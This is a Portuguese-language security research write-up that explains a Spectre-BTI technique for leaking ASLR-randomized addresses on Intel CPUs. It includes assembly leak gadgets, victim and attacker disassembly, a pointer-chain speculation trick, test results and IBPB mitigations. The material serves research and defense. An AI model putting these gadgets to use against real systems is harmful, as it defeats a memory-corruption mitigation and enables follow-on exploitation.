
Prova de conceito de exploit que contorna a ASLR em CPUs Intel ao abusar do branch target buffer e da execução especulativa para vazar endereços randomizados via canal lateral.
A Randomização do Layout do Espaço de Endereçamento é uma mitigação usada para dificultar ataques de corrupção de memória. Em um cenário de vulnerabilidade de buffer overflow, por exemplo, um atacante que tenta fazer um exploit de Return Oriented Programming precisa conhecer os endereços dos gadgets na cadeia. Se o segmento de código do binário explorado é randomizado, então é muito mais difícil para um atacante escolher o endereço correto para o exploit, tornando a exploração inviável.
O exemplo a seguir mostra como um endereço é randomizado:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){}
int main(int argc,char **argv){
printf("Destination %p\n",codePtr);
DoNothing();
}
Cada execução o valor é randomizado:
Destination 0x563714256149
Destination 0x556d8e2f1149
Destination 0x5618c8bdd149
Destination 0x55ee623b0149
Os últimos 12 bits 149 são sempre os mesmos, mas a localização da função pode estar aproximadamente em qualquer lugar entre 0x550000000000 e 0x570000000000, o que significa que 29 bits são randomizados, ocupando um espaço de endereçamento possível de 0x200 0000 0000 ou 2,2 TB de tamanho.
O processamento de cada instrução é uma tarefa árdua. Algumas etapas do processamento de uma única instrução são:
Para aumentar a vazão de instruções na CPU, cada tarefa da instrução é executada por uma unidade específica do processador. Com todas as unidades trabalhando em paralelo, isso permite que a CPU execute em velocidades de clock muito mais altas; essa é a ideia de um pipeline.
Execução das instruções A, B e C ao longo dos ciclos 1-5. No ciclo 3, por exemplo, as unidades de leitura, decodificação e execução estão simultaneamente ativas
No entanto, as instruções não são completamente independentes umas das outras. Por exemplo, a seguinte sequência:
A. add ax,[bx]
B. jz $+1
C. mov dl,[rsi]
D. nop
Neste caso, a instrução A no melhor caso só terminará no ciclo 3, na execução. No entanto, a unidade de busca precisa decidir qual é a próxima instrução a ser buscada da memória, se a instrução C (mov dl,[rsi]) deve ser ignorada.
Nesse cenário, a CPU tem a opção de esperar a instrução A terminar, o que só acontecerá no terceiro ciclo de clock, para então buscar a instrução correta na memória, se a operação de adição retornar 0, por exemplo:
Isso implica em um atraso no pipeline porque a CPU deve esperar a instrução ser executada. Neste exemplo o atraso é um único ciclo de clock, mas a instrução add ax,[bx] requer uma operação de memória, que, como visto antes, pode levar centenas de ciclos para ser concluída, gerando assim um custo de desempenho significativo no processador.
Uma opção mais rápida seria tentar "adivinhar" o caminho de execução correto. A CPU pode especular se o desvio é tomado ou não. Após esse ponto, a execução continua a partir do caminho especulado e os valores só são confirmados se o caminho for comprovado correto após o término da instrução A. Se o caminho for comprovado errado, os resultados são descartados e o estado é revertido para antes do ponto especulado.
O único problema em reverter o caminho tomado é que o estado microarquitetural da CPU não pode ser revertido. Então, se a CPU especular executar a instrução C (mov dl,[rsi]), o dado apontado por rsi será movido para o cache. Esse efeito pode ser medido posteriormente usando um ataque de canal lateral.

Preditor condicional de 2 bits. https://en.wikipedia.org/wiki/Branch_predictor
Não apenas instruções condicionais devem ser previstas, mas também desvios indiretos. A CPU deve ter um mecanismo para adivinhar os destinos de uma instrução como call [rdi].
A vulnerabilidade Spectre V2 mostra que é possível explorar o preditor indireto para alcançar execução transiente em outros processos:
Extraído de https://spectreattack.com/spectre.pdf
Ao colocar uma instrução de chamada no contexto A no mesmo endereço virtual de outra chamada no contexto B, o atacante pode treinar a CPU para executar código em uma posição escolhida pelo atacante no contexto B, em um ataque de reutilização de código, semelhante ao Return Oriented Programming (ROP).
A vítima alvo deve ter um trecho de código conhecido como "spectre gadget" que seja capaz de vazar um segredo usando um ataque de canal lateral. Para um ataque Spectre bem-sucedido, o atacante também deve saber a localização do spectre gadget. Portanto, em ataques usuário-usuário, proteger a vítima com ASLR costumava ser uma mitigação para esse tipo de ataque. No entanto, também existem técnicas para extrair ASLR usando ataques microarquiteturais, como o Jump Over ASLR. Contudo, essa técnica tem algumas limitações sobre a quantidade de bits vazados, pois depende de colisão no preditor direto para contornar o ASLR.
Os mecanismos internos desse preditor são mostrados abaixo:

Extraído de https://spectreattack.com/spectre.pdf
Alguns desses componentes são:
O layout clássico do ataque Spectre V2 se parece com isto:

getenv + secret[0]*4096 pode vazar o valor do segredo na posição 0 usando a libc como memória compartilhada.Exec ASLR (também conhecido como Reverse Branch Target Buffer Poisoning) é uma nova técnica para contornar o ASLR usando a vulnerabilidade Spectre-BTI. Esse ataque abusa do fato de que não apenas o atacante pode poluir o BTB em um cenário clássico de Spectre-BTI, mas as vítimas também podem disparar uma previsão errônea de desvio no processo do atacante, levando o atacante a um salto especulativo para um endereço protegido por ASLR. Então, usando um canal lateral que vaza qual endereço está sendo executado, um atacante pode recuperar o endereço de destino completo, contornando o ASLR para o processo alvo.
O layout do ataque Exec ASLR se parece com isto:

Nesse tipo de ataque, não há necessidade de encontrar um spectre gadget nem de ter uma memória compartilhada para o canal lateral; o único requisito é um desvio indireto a ser explorado, todos os gadgets necessários de um Spectre V2 estão dentro do processo do atacante. O único novo requisito para esse ataque é ser capaz de mapear o endereço de destino da vítima em seu próprio processo; portanto, esse ataque não funciona contra KASLR, por exemplo. Este também não é um ataque de força bruta; com uma única tentativa é possível testar vários endereços ao mesmo tempo, no entanto, há um limite de quantos "leak gadgets" a memória pode conter ao mesmo tempo. Isso diminui significativamente o tempo para realizar o ataque em comparação com o Jump Over ASLR, de ~100 endereços por segundo para algumas centenas de bilhões de endereços por segundo.
O leak gadget usa probeArray para informar ao atacante onde o próprio gadget é executado. Ele recebe probeArray e o índice do RIP a ser vazado como argumento e executa uma espécie de programação sem desvios para decidir se probeArray[0] ou probeArray[4096] deve ser acessado.
lea rax,[rip - 7] ;load current address
shr rax,cl ;selects the bit using cl arg
and rax,1
shl rax,12 ;loads probearray
mov dl,[rsi+rax] ;or probearray+4096
Como visto antes, o BHB é usado para selecionar uma entrada do BTB. Para encontrar uma colisão no BTB e explorar essa vulnerabilidade, um atacante deve conhecer os últimos N (29 se <skylake) desvios executados. Em nossos testes, usamos um loop for para definir o estado do BHB para um valor conhecido antes da chamada indireta. Aqui está um exemplo vulnerável de código da vítima:
#include <stdio.h>
void DoNothing();
void (*codePtr)() = DoNothing;
void DoNothing(){
return;
}
int main(){
printf("Destination = %p\n",codePtr);
while(1){
for(int i=0;i<200;i++){}
codePtr();
}
}
Para garantir que o estado do BHB seja o mesmo em ambos os contextos, o atacante copia os bytes correspondentes ao loop for e à chamada da vítima em forma de shellcode. O shellcode é copiado para todas as 256 posições possíveis que podem corresponder ao alinhamento de 20 bits menos significativos necessário para que o estado do BHB seja o mesmo.
Victim Code
0x5594c566a152 <+28>: mov eax,0xc8
0x5594c566a157 <+33>: dec eax
0x5594c566a159 <+35>: jne 0x1157 <main+33>
0x5594c566a15b <+37>: nop
0x5594c566a15c <+38>: nop
0x5594c566a15d <+39>: nop
0x5594c566a15e <+40>: lea rdi,[rip+0x2ecb]
0x5594c566a165 <+47>: call QWORD PTR [rdi]
--> Executes to
0x5594c5669135: ret
Attacker Code
… //eax=200 rsi=probeArray, cl=0
0x6a157 dec eax
0x6a159 jne 0x455555500157
…
0x6a165 jmp QWORD PTR [rdi]
--> Misspredicts to
0x5594c566a135: lea rax,[rip - 7]
0x5594c566a13c: shr rax,cl
0x5594c566a13f: and rax,1
0x5594c566a133: shl rax,12
0x5594c566a137: mov dl,[rsi+rax]
Há um problema ao tentar colocar um gadget em todas as posições possíveis ao mesmo tempo. Em nossos testes, o ASLR coloca o destino em algum lugar entre 0x550000000000 e 0x570000000000. Isso significa que há 2,2 TB de endereço virtual possível a ser mapeado, ou 537 milhões de leak gadgets. Mas o sistema tem apenas 8 GB de RAM. Além de ser possível mapear 2 TB de RAM usando COW, não tivemos muito sucesso com essa abordagem. Suponho que ela cria pressão demais no Translation Lookaside Buffer (TLB), tornando a especulação para um endereço não traduzido lenta demais. Nos testes, criamos uma página de 1 GB na memória e a preenchemos com os leak gadgets. Então deslocamos a página pelo intervalo de 2 TB usando a syscall remap. Outro problema observado foi o fato de que o endereço especulado provavelmente não estava presente no TLB, já que nunca havia sido realmente executado. Mas o manual da Intel afirma:
Portanto, para aumentar as chances de um pagewalk "induzido por especulação", tentamos tornar o mais difícil possível a resolução do endereço correto. Isso é feito usando uma cadeia de ponteiros para o endereço de destino. A ideia é que o frontend da CPU especule o destino do desvio e a unidade de reordenação execute o leak gadget antes de terminar a leitura da cadeia de ponteiros.
Improved Caller - Frontend fetched instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
mov rdx,[rdx]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;mispredicts to gadget
lea rax,[rip - 7];speculative execution
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
Improved Caller - Reorder unit scheduled instructions
mov rcx,%1 ;mask arg for gadget
lea rsi,[%2] ;probe array ptr arg
lea rdx,[%0]
mov rdx,[rdx] ;pointer chain
mov rdx,[rdx]
; <pagewalk occurs some where here>
... ;Out of order + speculation
lea rax,[rip - 7]
shr rax,cl
and rax,1
shl rax,12
mov dl,[rsi+rax]
...
mov rdx,[rdx]
mov rdx,[rdx]
check [rdx] ;the execution path reverted
Essa técnica de execução fora de ordem + especulativa mostrou uma melhoria nas taxas desejadas de previsão errônea no ataque.
Para realizar um ataque Spectre V2, o atacante deve executar código no mesmo núcleo que a vítima, para que compartilhem a mesma Unidade de Predição de Desvios (BPU). Em CPUs <= skylake, observamos que é possível alcançar a coresidência de núcleo usando hyperthreading. CPUs Icelake e Cascade Lake implementam uma mitigação chamada Single Thread Indirect Branch Predictor, que separa a BPU entre as threads. Portanto, é necessário executar a vítima e o atacante na mesma thread e usar o usleep para alternar entre o processo da vítima e o do atacante, o que tornaria o atacante mais lento nessas CPUs se não fosse o fato de que os caches (e provavelmente o TLB também) são muito bons nessas gerações, permitindo armazenar em cache muito mais gadgets ao mesmo tempo.
Essa técnica foi testada em todas as CPUs Intel disponíveis no Google Cloud, tanto nas gerações N1 quanto N2:
Além de haver alguma diferença nos exploits para Cascade e Ice Lake, todos os testes conseguiram recuperar os endereços com >99% de precisão em menos de 10s.
As mitigações são as mesmas do Spectre V2 para mitigar ataques usuário-usuário.
A barreira de predição de desvio indireto (IBPB) permite o flushing da BPU e pode ser usada em trocas de contexto. No Linux, o IBPB pode ser usado através da syscall prctl com a opção PR_SET_SPECULATION_CTRL.
Não faço ideia de qual é a mitigação equivalente para Windows, por favor me digam.
https://cos.ufrj.br/uploadfile/publicacao/3061.pdf
https://www.youtube.com/watch?v=Qj4z-KvnkxU
https://docs.google.com/presentation/d/10t-oo-c26x9ydx1_FYgmhy204rxfmQ92eboPlCnA2y4/edit?usp=sharing
https://googleprojectzero.blogspot.com/2018/01/reading-privileged-memory-with-side.html https://eprint.iacr.org/2013/448.pdf https://spectreattack.com/spectre.pdf https://www.cs.ucr.edu/~nael/pubs/micro16.pdf http://download.vusec.net/papers/bhi-spectre-bhb_sec22.pdf https://www.kernel.org/doc/html/latest/userspace-api/spec_ctrl.html Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 3. Santa Clara, USA: Intel Corporation, 2016, iSBN 325384-060US
| Operação \ ciclo de clock | 1 | 2 | 3 | 4 | 5 |
|---|
| Fetch | A | B | C | ||
| Decoding | A | B | C | ||
| Execution | A | B | C |
| Operação \ ciclo de clock | 1 | 2 | 3 | 4 | 5 | 6 |
|---|
| Fetch | A | B | D | |||
| Decoding | A | B | D | |||
| Execution | A | B | D |
| Operação \ ciclo de clock | 1 | 2 | 3 | 4 | 5 | 6 |
|---|
| Fetch | A | B | (S) C | |||
| Decoding | A | B | (S) C | |||
| Execution | A | B | (S) C |